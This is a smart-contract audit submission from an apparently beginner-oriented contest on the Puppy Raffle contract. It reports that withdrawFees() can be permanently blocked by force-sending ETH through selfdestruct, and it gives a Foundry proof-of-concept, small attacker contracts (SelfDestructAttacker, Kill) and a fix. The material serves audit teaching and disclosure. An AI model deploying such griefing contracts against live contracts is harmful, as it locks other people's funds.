Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: medium
Valid

[M-01] withdrawFees Can Be Permanently Blocked via Forced ETH Transfer

rensley

Root + Impact

Description

  • The withdrawFees() function requires an exact balance match: address(this).balance == uint256(totalFees).

  • If anyone sends ETH directly to the contract via selfdestruct or coinbase rewards, this check will always fail, permanently locking all fees.

// Root cause in the codebase with @> marks to highlight the relevant section
​
function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood: Medium

  • Reason 1 // Requires attacker to sacrifice ETH via selfdestruct

  • Reason 2 // Can also happen accidentally via direct transfers

Impact: High

  • Impact 1 // All accumulated fees permanently locked

  • Impact 2 // No recovery mechanism exists

  • Impact 3 // Protocol loses all revenue

Proof of Concept

The following test demonstrates how forced ETH transfer permanently blocks fee withdrawal.

function testWithdrawFeesBlockedBySelfDestruct() public playersEntered {
vm.warp(block.timestamp + duration + 1);
puppyRaffle.selectWinner();
// Expected fees: 0.8 ETH (20% of 4 ETH)
uint256 expectedFees = (entranceFee * 4 * 20) / 100;
assertEq(address(puppyRaffle).balance, expectedFees);
// Attacker force-sends 1 wei via selfdestruct
SelfDestructAttacker attacker = new SelfDestructAttacker{value: 1 wei}();
attacker.attack(address(puppyRaffle));
// Balance no longer matches totalFees
assertEq(address(puppyRaffle).balance, expectedFees + 1);
// withdrawFees permanently blocked
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}
​
contract SelfDestructAttacker {
constructor() payable {}
function attack(address target) external {
selfdestruct(payable(target));
}
}

Recommended Mitigation

Use >= instead of == or track balances internally rather than relying on address(this).balance.

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(players.length == 0, "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

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